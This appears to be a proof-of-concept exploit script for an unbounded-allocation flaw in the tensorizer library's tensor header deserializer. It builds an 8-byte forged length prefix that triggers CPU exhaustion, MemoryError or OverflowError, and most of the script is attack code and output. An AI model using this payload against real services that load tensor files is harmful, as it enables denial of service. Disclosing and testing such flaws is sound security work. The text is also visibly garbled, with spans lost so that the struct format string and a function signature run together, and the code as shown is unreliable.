#!/usr/bin/env python3 """ PoC: Unbounded allocation from untrusted header length in tensorizer Component: tensorizer (verified against v2.12.1 source from PyPI) Vulnerable code: _TensorHeaderDeserializer.from_io() in tensorizer/serialization.py Real vulnerable code (tensorizer-2.12.1/tensorizer/serialization.py, lines ~604-649): header_len_segment: ClassVar[struct.Struct] = struct.Struct("= 2**63 claims: raises OverflowError (a DIFFERENT exception type — code that only catches MemoryError would miss this case). Neither exception is caught anywhere in the real call path, so either one propagates uncaught out of the deserialization loop. Usage: python3 tensorizer_poc.py mode: cpu_cost | memory_error | overflow_error | all """ import io import struct import sys import time # Exact same struct format as the real class. header_len_segment = struct.Struct(" bytes: """ Builds the 8-byte malicious length prefix an attacker would place at the start of a tensor entry. No other bytes are needed to reach the vulnerable allocation — the crash/cost happens before any of the claimed header content is even read. """ return header_len_segment.pack(claimed_len) def vulnerable_from_io_allocation(reader: io.BufferedIOBase): """ Reproduces the exact vulnerable code from _TensorHeaderDeserializer.from_io(), verbatim, lines 641-649 of the real tensorizer-2.12.1/tensorizer/serialization.py. """ header_len_bytes = reader.read(header_len_segment.size) offset = header_len_segment.size header_len: int = header_len_segment.unpack(header_len_bytes)[0] if header_len == 0: return None print(f" header claims {header_len:,} bytes " f"({header_len / 1e9:.2f} GB) — about to allocate, no validation...") t0 = time.perf_counter() buffer = bytearray(header_len) # <-- the exact vulnerable line buffer[:offset] = header_len_bytes elapsed = time.perf_counter() - t0 print(f" allocation SUCCEEDED in {elapsed:.4f}s " f"(from an 8-byte malicious input)") return buffer def demo_cpu_cost(): print("=== Mode: cpu_cost (claimed_len = 1 GB) ===") malicious = build_malicious_header(10**9) vulnerable_from_io_allocation(io.BytesIO(malicious)) print("A single 8-byte malicious value forced multi-second CPU work.\n" "Repeated requests amplify this into a cheap CPU-exhaustion DoS.") def demo_memory_error(): print("=== Mode: memory_error (claimed_len = 100 GB) ===") malicious = build_malicious_header(10**11) try: vulnerable_from_io_allocation(io.BytesIO(malicious)) except MemoryError as e: print(f" MemoryError raised (uncaught in the real library's call " f"site — this propagates straight out of the read loop): {e!r}") def demo_overflow_error(): print("=== Mode: overflow_error (claimed_len = 2**63) ===") malicious = build_malicious_header(2**63) try: vulnerable_from_io_allocation(io.BytesIO(malicious)) except OverflowError as e: print(f" OverflowError raised — a DIFFERENT exception type than " f"MemoryError. Code that only catches MemoryError around " f"tensor loading would NOT catch this: {e!r}") if __name__ == "__main__": mode = sys.argv[1] if len(sys.argv) > 1 else "all" if mode in ("cpu_cost", "all"): demo_cpu_cost() print() if mode in ("memory_error", "all"): demo_memory_error() print() if mode in ("overflow_error", "all"): demo_overflow_error()